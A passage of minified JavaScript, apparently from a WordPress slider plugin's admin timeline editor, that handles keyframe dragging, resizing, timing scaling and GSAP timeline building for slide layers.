tart:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedStart)/10,end:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedEnd)/10})}),RVS.DOC.on("click","#the_slide_timeline",function(){return RVS.F.selectLayers({overwrite:!0}),jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_transition"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),!1}),RVS.DOC.on("click","#tl_multiplicator",function(){RVS.ENV.tlMultipWrap.toggleClass("selected"),RVS.ENV.tlMultipWrap.hasClass("selected")&&(RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_framemagnet",function(){RVS.ENV.tlMagnifWrap.toggleClass("selected"),RVS.ENV.tlMagnifWrap.hasClass("selected")&&(RVS.ENV.tlMultipWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_gridmanagement",function(){RVS.F.updateEasyInputs({container:RVS.ENV.tlGridWrap,visualUpdate:!0}),RVS.ENV.tlGridWrap.toggleClass("selected"),RVS.ENV.tlGridWrap.hasClass("selected")?(RVS.F.snapVisual(),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")):RVS.F.clearSnapVisual()}),RVS.DOC.on("click",".closeme_tl_miniwrapper",function(){RVS.ENV.tlGridWrap.removeClass("selected"),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")}),RVS.DOC.on("magnetframes",function(e,t){void 0!==t&&void 0!==t.val&&(s=t.val)}),RVS.DOC.on("click","#gsf_ok",function(){var e=parseInt(document.getElementById("general_speed_factor").value,0);if(RVS.F.isNumeric(e)&&100!==e){for(var t in e/=100,RVS.F.openBackupGroup({id:"frame",txt:"General Timings",icon:"access_time"}),RVS.L)if(void 0!==RVS.L[t].timeline)for(var i in RVS.L[t].timeline.frames){if(!RVS.L[t].timeline.frames.hasOwnProperty(i))continue;let a=RVS.L[t].timeline.frames[i];RVS.F.isNumeric(parseInt(a.timeline.start,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.start",val:Math.round(parseInt(a.timeline.start,0)*e)}),RVS.F.isNumeric(parseInt(a.timeline.speed,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.speed",val:Math.round(parseInt(a.timeline.speed,0)*e)}),a.words.use&&RVS.F.isNumeric(parseInt(a.words.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".words.delay",val:Math.round(parseInt(a.words.delay,0)*e)}),a.chars.use&&RVS.F.isNumeric(parseInt(a.chars.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".chars.delay",val:Math.round(parseInt(a.chars.delay,0)*e)}),a.lines.use&&RVS.F.isNumeric(parseInt(a.lines.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".lines.delay",val:Math.round(parseInt(a.lines.delay,0)*e)})}RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.delay",val:10*Math.round(RVS.F.getSlideLength()*e)}),RVS.F.isNumeric(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed)&&RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed*e)}),RVS.F.updateAllLayerFrames(),requestAnimationFrame(function(){RVS.F.updateSlideFrames()}),RVS.F.closeBackupGroup({id:"frame"}),RVS.DOC.trigger("updateMaxTime")}document.getElementById("general_speed_factor").value="100%"}),RVS.DOC.on("updateMaxTime",function(e,t){for(var i in RVS.F.updateMaxTime({pos:!0,cont:!0}),RVS.SLIDER.slideIDs){var a=RVS.SLIDER.slideIDs[i];if(!(void 0===a||(""+a).indexOf("static")>=0)){r=RVS.F.getSlideLength(a);var s=RVS.F.getSlideLayersEndWithSlide(a);for(var o in s)s.hasOwnProperty(o)&&s[o].endWithSlide&&(RVS.SLIDER[a].layers[o].timeline.frames.frame_999.timeline.start=10*r,""+a==""+RVS.S.slideId&&RVS.F.updateLayerFrame({layerid:o,frame:"frame_999",maxtime:r}))}}}),RVS.DOC.on("windowresized",function(){RVS.TL.hasOwnProperty("cache")&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))}),RVS.DOC.on("updateSlideTransitionTimeLine",function(){requestAnimationFrame(function(){RVS.F.updateSlideFrames(),RVS.F.redrawSlideBG()})}),RVS.DOC.on("playTimeLine",function(){RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"stop"}),RVS.TL.timelineStartedFromPlayStop=!0,RVS.F.buildMainTimeLine();var e=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0;RVS.F.updateTimeLine({force:!0,state:"time",time:e,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.updateTimeLine({state:"play",timeline:"main",force:!1})}),RVS.DOC.on("stopTimeLine",function(){RVS.TL.cache.main=0,RVS.TL.timelineStartedFromPlayStop=!1,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.buildMainTimeLine(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("previewLayerAnimation",function(){for(var e in RVS.S.shwLayerAnim=!0,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"stop"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"stop"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&(RVS.F.renderLayerAnimation({layerid:RVS.selLayers[e]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[e]}))}),RVS.DOC.on("previewStopLayerAnimation",function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()}),RVS.DOC.on("click","#copy_keyframe",function(){1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame&&(l=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]),jQuery("#paste_keyframe").show())}),RVS.DOC.on("click","#paste_keyframe",function(){if(1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame){var e=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});if(e.next.start>=e.cur.end+l.timeline.frameLength){var t=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame];l.timeline.actionTriggered=t.timeline.actionTriggered,l.timeline.start=t.timeline.start,l.timeline.startRelative=t.timeline.startRelative,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frames."+RVS.S.keyFrame,val:l}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateAllLayerFrames(),RVS.F.updateLayerInputFields()}else RVS.F.showInfo({content:RVS_LANG.framesizecannotbeextended,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.TL.c.layertime=jQuery("#layer_simulator_time"),RVS.TL.c.layerprogress=jQuery("#layer_animation_progressarrow")},RVS.F.animateSlide=function(e,t,i,a){},RVS.F.buildMainTimeLine=function(e){RVS.TL[RVS.S.slideId].main=new tpGS.TimelineMax({paused:!0}),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId],RVS.TL[RVS.S.slideId].slide=void 0===RVS.TL[RVS.S.slideId].slide?new tpGS.gsap.timeline:RVS.TL[RVS.S.slideId].slide,RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].slide,0),RVS.TL[RVS.S.slideId].main.add("end",RVS.F.getSlideLength()/100),window.tpfake=1,RVS.TL[RVS.S.slideId].main.add(new tpGS.gsap.set(window,{tpfake:0}),"end"),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set&&void 0!==RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].panzoom,0),e&&(e.time||e.progress)&&RVS.F.updateTimeLine({timeline:"main",state:"time",time:e.tim}),RVS.TL[RVS.S.slideId].main.eventCallback("onUpdate",function(){RVS.F.updateCurTime({pos:!0,cont:!0,left:100*this._time,refreshMainTimeLine:!1,caller:"buildMainTimeLine"})}),RVS.TL[RVS.S.slideId].main.eventCallback("onComplete",function(){RVS.TL.timelineStartedFromPlayStop&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))})},RVS.F.resetSlideTL=function(){void 0!==RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.kill(),RVS.TL[RVS.S.slideId].slide=new tpGS.gsap.timeline},RVS.F.updateFramesZIndexes=function(e){var t=1e3;for(var i in void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)&&"frame_0"!==RVS.L[e.layerid].timeline.frameOrder[i].id){var a=document.getElementById(RVS.S.slideId+"_"+e.layerid+"_"+RVS.L[e.layerid].timeline.frameOrder[i].id);a&&tpGS.gsap.set(a,{zIndex:t}),t--}},RVS.F.addFrame=function(e){var t={wrap:e.container,bg:jQuery(e.container.getElementsByTagName("framebg")[0]),frame:RVS.F.cE({t:"framewrap",id:RVS.S.slideId+"_"+e.layerid+"_"+e.frame,cN:"frame_"+e.frame,ds:{layertype:e.layertype,layerid:e.layerid,frame:e.frame}}),framedelay:RVS.F.cE({t:"framedelay"}),info:RVS.F.cE({t:"frameinfo"}),sloop:RVS.F.cE({t:"startloop"}),eloop:RVS.F.cE({t:"endloop"}),marker:RVS.F.cE({t:"marker"}),obj:e};return"frame_1"===e.frame&&(t.frame.appendChild(RVS.F.cE({t:"ffbefore",ds:{frame:"frame_0"}})),t.frame.appendChild(RVS.F.cE({t:"ffafter",ds:{frame:"frame_1"}}))),t.framedelay.textContent="2500",t.sloop.appendChild(RVS.F.cI({c:"chevron_right"})),t.eloop.appendChild(RVS.F.cI({c:"chevron_left"})),t.frame.appendChild(t.framedelay),t.frame.appendChild(t.sloop),t.frame.appendChild(t.eloop),t.frame.appendChild(t.info),t.frame.appendChild(t.marker),e.container.appendChild(t.frame),void 0===RVS.TL.frameMouseListenerObjects&&(RVS.TL.frameMouseListenerObjects={},RVS.DOC.on("mouseenter","framewrap",function(){if(void 0===this.dataset.mlisteners){this.dataset.mlisteners=!0;var e=RVS.TL.frameMouseListenerObjects[this.id];e.jframe=jQuery(e.frame),void 0!==e.obj.resize&&e.jframe.resizable({handles:e.obj.resize,minWidth:5,start:e.obj.start,stop:e.obj.stopresize,resize:e.obj.onresize}),void 0!==e.obj.ondrag&&(e.jframe.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}),e.bg.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}))}})),RVS.TL.frameMouseListenerObjects[t.frame.id]=t,t},RVS.F.buildSlideFrames=function(){RVS.TL.fref=void 0===RVS.TL.fref?RVS.F.addFrame({container:document.querySelector("#slide_frame_container .frameswrap"),frame:"0",resize:"e",layerid:"",start:function(e,t){i=(i=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0)<.0015?"idle":i,a=t.element.find("frameinfo"),r=RVS.F.getSlideLength(),RVS.TL.inDrag=!0},onresize:function(e,t){t.size.width=t.size.width<=r?t.size.width:r;var s=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(s),ignoreBackup:!0}),RVS.F.buildMainTimeLine({time:i}),RVS.F.redrawSlideBG(),a[0].innerHTML=10*t.size.width,document.getElementById("sltrans_duration").value=Math.round(s)},stopresize:function(e,t){var a=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.speed",lastkey:"speed",val:Math.round(a),old:10*t.originalSize.width}),RVS.F.buildMainTimeLine({time:i}),RVS.F.timelineDragsStop(),RVS.F.redrawSlideBG(),document.getElementById("sltrans_duration").value=Math.round(a),requestAnimationFrame(function(){RVS.F.updateSlideFrames()})}}):RVS.TL.fref,requestAnimationFrame(function(){RVS.F.updateSlideFrames()})},RVS.F.slideAnimWithMoreRowCol=function(){let e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.row>1||RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.col>1;for(var t in RVS.JHOOKS.slideAnimRowColCheck)RVS.JHOOKS.slideAnimRowColCheck.hasOwnProperty(t)&&(e=RVS.JHOOKS.slideAnimRowColCheck[t](e));return e},RVS.F.updateSlideFrames=function(e){(e=void 0===e?{}:e).slidedelay=void 0===e.slidedelay?RVS.F.getSlideLength():e.slidedelay;var t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed;t="default"===t||"Default"===t||"Random"===t?1e3:parseFloat(t,0);var i=RVS.F.slideAnimWithMoreRowCol()?t/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10):0;t=Math.round(Math.round(t+i)/10),RVS.TL.ssubref=void 0===RVS.TL.ssubref?document.getElementById("slideframespeed_sub"):RVS.TL.ssubref,e.animspeed=void 0===e.animspeed?t:e.animspeed,RVS.TL.ssubref.innerHTML="("+10*e.animspeed+")",tpGS.gsap.set(RVS.TL.fref.wrap,{width:e.slidedelay}),tpGS.gsap.set(RVS.TL.fref.frame,{width:e.animspeed}),RVS.TL.fref.info.innerHTML=10*e.animspeed},RVS.F.addLayerFrames=function(e,t){RVS.TL[RVS.S.slideId].layers=void 0===RVS.TL[RVS.S.slideId].layers?{}:RVS.TL[RVS.S.slideId].layers,RVS.TL[RVS.S.slideId].layers[e.uid]=void 0===RVS.TL[RVS.S.slideId].layers[e.uid]?{}:RVS.TL[RVS.S.slideId].layers[e.uid];var i=10*RVS.F.getSlideLength();for(var a in void 0===e.timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.uid}),e.timeline.frameOrder)if(e.timeline.frameOrder.hasOwnProperty(a)){var r=e.timeline.frameOrder[a].id;"frame_0"!==r&&(e.timeline.frames.frame_999.timeline.start=0===e.timeline.frames.frame_999.timeline.start||e.timeline.frames.frame_999.timeline.start>i?i:e.timeline.frames.frame_999.timeline.start,RVS.F.addLayerFrameOnDemand(e,t,r))}RVS.F.updateFramesZIndexes({layerid:e.uid})},RVS.F.addLayerFrameOnDemand=function(e,t,i){RVS.F.addLayerFrame({frame:e.timeline.frames[i],frameindex:i,layerid:e.uid,layertype:e.type,framecontainer:RVS.TL[RVS.S.slideId].layers[e.uid],wrap:t.querySelector(".frameswrap")}),RVS.F.updateLayerFrame({layerid:e.uid,frame:i})},RVS.F.getLayerAliasAndFrame=function(e){var t=e.frame.replace("_"," ").replace("f","F");return t=RVS.F.sanitize_input(RVS.L[e.layerid].alias)+" "+t},RVS.F.setChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in RVS.L[t].timeline.frameOrder)if(fi=RVS.L[t].timeline.frameOrder[a],i.frames.hasOwnProperty(fi)&&"frame_0"!==fi){var s=RVS.F.getPrevNextFrame({layerid:t,frame:fi}),o=i.frames[fi]/10-e.difference;s.prev.end/10>=o?o=s.prev.end/10:s.next.start/10<=o+s.cur.framelength/10&&(o=s.next.start/10-s.cur.framelength/10),o>r&&(o=r),void 0===i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.frames[fi]>10*r&&"frame_999"===fi&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=Math.max(s.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:fi,maxtime:r})}}},RVS.F.moveChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)&&(1!=s||t===o.layerid)){var i=e.childLayers[t],a=i.forder.length-1;for(var n in i.forder)if(i.forder.hasOwnProperty(n)){var l=-1===e.order?i.forder[a-n]:i.forder[n];if("frame_0"!==l){var d=RVS.F.getPrevNextFrame({layerid:t,frame:l}),S=i.frames[l]/10-e.difference;d.prev.frameid===o.frame&&e.thend&&d.prev&&(S=S<e.thend?e.thend:S),0>S&&(S=0),d.next.start/10<S+d.cur.framelength/10&&(S=d.next.start/10-d.cur.framelength/10),S>r&&(S=r),(void 0===i.endWithSlide||i.endWithSlide)&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=10*S),i.frames[l]>10*r&&"frame_999"===l&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=Math.max(d.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:l,maxtime:r})}}}},RVS.F.backupChildren=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in i.frames)i.frames.hasOwnProperty(a)&&RVS.F.backup({path:RVS.S.slideId+".layers."+t+".timeline.frames."+a+".timeline.start",lastkey:"start",val:RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[a].timeline.start,old:i.frames[a]})}},RVS.F.getFirstFrame=function(e){return void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),"frame_0"===RVS.L[e.layerid].timeline.frameOrder[0].id?RVS.L[e.layerid].timeline.frameOrder[1].id:RVS.L[e.layerid].timeline.frameOrder[0].id},RVS.F.addLayerFrame=function(e){e.framecontainer[e.frameindex]=RVS.F.addFrame({container:e.wrap,frame:e.frameindex,layerid:e.layerid,layertype:e.layertype,resize:"w,e",start:function(e,t){if(RVS.TL.inDrag=!0,RVS.TL.tS.classList.add("frame_in_drag"),RVS.TL.timeBeforeFrameChange=null==RVS.TL[RVS.S.slideId].main?0:RVS.TL[RVS.S.slideId].main.time(),"true"!==(o=void 0===t.element?{licontainer:document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+t.helper[0].dataset.layerid),layerid:t.helper[0].dataset.layerid,frame:t.helper[0].dataset.frame,type:t.helper[0].dataset.layertype,bg:t.helper[0].dataset.bg}:{layerid:t.element[0].dataset.layerid,frame:t.element[0].dataset.frame,type:t.element[0].dataset.layertype,bg:t.element[0].dataset.bg}).bg?(o.frameName=RVS.F.getLayerAliasAndFrame(o),n=RVS.F.getPrevNextFrame(o),o.path=RVS.F.getLayerObjPath(o)):(o.layerwidth=t.helper.width(),o.frame="All Frames",n=RVS.F.getPrevNextFrame({layerid:o.layerid,frame:RVS.F.getFirstFrame({layerid:o.layerid})}),o.frameName=RVS.F.getLayerAliasAndFrame(o)),r=RVS.F.getSlideLength(),(o.bg&&"dragstart"==e.type&&jQuery.inArray(o.type,["column","row","group"])>=0||"dragstart"==e.type&&o.frame==RVS.F.getFirstFrame({layerid:o.layerid})&&jQuery.inArray(o.type,["column","row","group"])>=0)&&(o.childLayers=RVS.F.getLayerChildren({layerid:o.layerid})),o.bg?o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers}):o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers,afterStart:n.cur.start,include999:!0}),1==s||2==s)for(var i in o.childLayers)if(o.childLayers.hasOwnProperty(i))for(var a in o.childLayers[i].forder=[],o.childLayers[i].frames)o.childLayers[i].frames.hasOwnProperty(a)&&o.childLayers[i].forder.push(a);if(RVS.F.updateFrameTime({pos:!0,cont:!0,left:n.cur.start-.31}),"frame_1"===o.frame)for(var i in jQuery(o.licontainer).addClass("frame_1_indrag"),o.childLayers)o.childLayers.hasOwnProperty(i)&&(o.childLayers[i].hiddenc=document.getElementById("frame_unvisible_start_"+RVS.S.slideId+"_"+i))},ondrag:function(e,t){for(var i in t.position.left>window.lastCachedUiPosition&&(1==s||2==s)&&RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,order:-1,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),n=RVS.F.getPrevNextFrame(o),"true"!==o.bg?("frame_1"!==o.frame&&n.prev.end/10>=t.position.left&&(t.position.left=n.prev.end/10),"frame_1"==o.frame&&0>=t.position.left&&(t.position.left=0),n.next.layerid==o.layerid&&n.next.start/10<=t.position.left+n.cur.framelength/10&&(t.position.left=n.next.start/10-n.cur.framelength/10),t.position.left>r&&(t.position.left=r)):t.position.left=t.position.left<n.prev.end/10?n.prev.end/10:parseInt(t.position.left,0)+parseInt(o.layerwidth,0)>=r?r-o.layerwidth:t.position.left,1!=s&&2!=s||RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),window.lastCachedUiPosition=t.position.left,"true"!==o.bg?(RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),o.framelength=n.cur.framelength,RVS.F.updateLayerFrame(o)):RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframestart").value=Math.round(10*t.position.left)),RVS.F.updateFrameTime({pos:!0,cont:!0,left:t.position.left-.31}),o.childLayers)o.childLayers.hasOwnProperty(i)&&i!==o.layerid&&tpGS.gsap.set(o.childLayers[i].hiddenc,{width:t.position.left+20});n=RVS.F.getPrevNextFrame(o)},onresize:function(e,t){"frame_1"!==o.frame&&n.prev.end/10>t.position.left?(t.position.left=n.prev.end/10,t.size.width=(n.cur.end-n.prev.end)/10):"frame_1"==o.frame&&0>t.position.left?(t.position.left=0,t.size.width=n.cur.end/10):n.next.start/10<=t.position.left+t.size.width&&(t.size.width=(n.next.start-n.cur.start)/10),t.position.left>r&&(t.position.left=r),RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),ignoreBackup:!0}),RVS.F.updateLayerFrame(o),"frame_1"===o.frame&&!0===RVS.L[o.layerid].timeline.frames.frame_999.timeline.auto&&RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframespeed").value=Math.round(10*t.size.width-n.cur.splitDelay),document.getElementById("layerframestart").value=Math.round(10*t.position.left),document.getElementById("layerframespeed_sub").innerHTML="("+Math.round(10*t.size.width)+")")},stopdrag:function(e,t){for(var i in jQuery(o.licontainer).removeClass("frame_1_indrag"),RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" Start",icon:"access_time"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backupChildren({childLayers:o.childLayers}),RVS.F.closeBackupGroup({id:"frame"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")},stopresize:function(e,t){for(var i in RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" Speed",icon:"slow_motion_video"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backup({path:o.path+"speed",lastkey:"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),old:Math.round(10*t.originalSize.width-n.cur.splitDelay)}),RVS.F.closeBackupGroup({id:"frame"}),t.element.css({maxWidth:"none"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")}})},RVS.F.updateAllstartRelatives=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&e>=0&&e<=9999)for(var t in RVS.L[e].timeline.frameOrder)if(RVS.L[e].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[e].timeline.frameOrder[t].id;if("frame_0"!==i){var a=RVS.F.getPrevNextFrame({layerid:RVS.L[e].uid,frame:i});RVS.F.updateSliderObj({path:RVS.F.getLayerObjPath({layerid:RVS.L[e].uid,frame:i})+"startRelative",val:a.cur.start-a.prev.end})}}},RVS.F.getLayerObjPath=function(e){return RVS.S.slideId+".layers."+e.layerid+".timeline.frames."+e.frame+".timeline."},RVS.F.getPrevNextFrame=function(e){var t=RVS.L[e.layerid].timeline.frames[e.frame].timeline,i=RVS.F.getSplitDelay({layerid:e.layerid,frame:e.frame}),a=RVS.F.addT([t.start,t.speed,i]),r=RVS.F.getFirstFrame({layerid:e.layerid}),s={cur:{start:t.start,end:a,splitDelay:i,framelength:a-t.start},prev:{start:-1,end:0,frame:{}},next:{start:9999999,end:9999999,frame:{}}};for(var o in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(o)&&"frame_0"!==o&&o!==e.frame){var n=RVS.L[e.layerid].timeline.frames[o].timeline;n.start<t.start&&n.start>s.prev.start&&(s.prev={start:n.start,end:RVS.F.addT([n.start,n.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:o})]),frame:n,layerid:e.layerid,frameid:o}),n.start>t.start&&n.start<s.next.start&&(s.next={start:n.start,end:RVS.F.addT([n.start,n.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:o})]),frame:n,layerid:e.layerid,frameid:o})}if(e.frame==r&&-1!==RVS.L[e.layerid].group.puid&&-1==jQuery.inArray(RVS.L[e.layerid].group.puid,["top","bottom","middle"])){var l=RVS.F.getFirstFrame({layerid:RVS.L[e.layerid].group.puid}),d=RVS.L[RVS.L[e.layerid].group.puid].timeline.frames[l].timeline;s.prev.end=d.start;var S=RVS.F.addT([d.start,d.speed,i]);s.prev.framelength=S-d.start,s.prev.realEnd=S}return s},RVS.F.setStartRelative=function(e){void 0!==RVS.TL[RVS.S.slideId].layers&&RVS.TL[RVS.S.slideId].layers[e.layerid]},RVS.F.updateFrameRealSpeed=function(){document.getElementById("layerframespeed_sub").innerHTML="("+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength+")"},RVS.F.getSplitDelay=function(e){if(void 0!==RVS.H[e.layerid]&&void 0!==RVS.H[e.layerid].splitText||void 0!==RVS.L[e.layerid]&&RVS.L[e.layerid].timeline.split){var t=RVS.L[e.layerid].timeline.frames[e.frame],i=t.chars.use?"chars":t.words.use?"words":t.lines.use?"lines":void 0;return void 0!==RVS.H[e.layerid]?(void 0===RVS.H[e.layerid].splitText&&RVS.F.updateSplitContent({layerid:e.layerid}),void 0!==i?RVS.H[e.layerid].splitText[i].length*(void 0===t[i].delay?0:10*t[i].delay):0):void 0!==i&&void 0!==t.timeline.frameLength?t.timeline.frameLength-parseInt(t.timeline.speed,0):0}return 0},RVS.F.updateAllLayerFrames=function(e){for(var t in e=void 0===e?{}:e,RVS.L)if(RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t){var i=document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+RVS.L[t].uid);for(var a in null!==i&&(i.textContent=RVS.L[t].alias),RVS.L[t].timeline.frameOrder)if(RVS.L[t].timeline.frameOrder.hasOwnProperty(a)){var r=RVS.L[t].timeline.frameOrder[a].id;"frame_0"!==r&&(void 0!==e.frame&&r!==e.frame||RVS.F.updateLayerFrame({layerid:t,frame:r}))}}},RVS.F.updateLayerFrames=function(e){for(var t in RVS.L[e.layerid].timeline.frames)RVS.L[e.layerid].timeline.frames.hasOwnProperty(t)&&(void 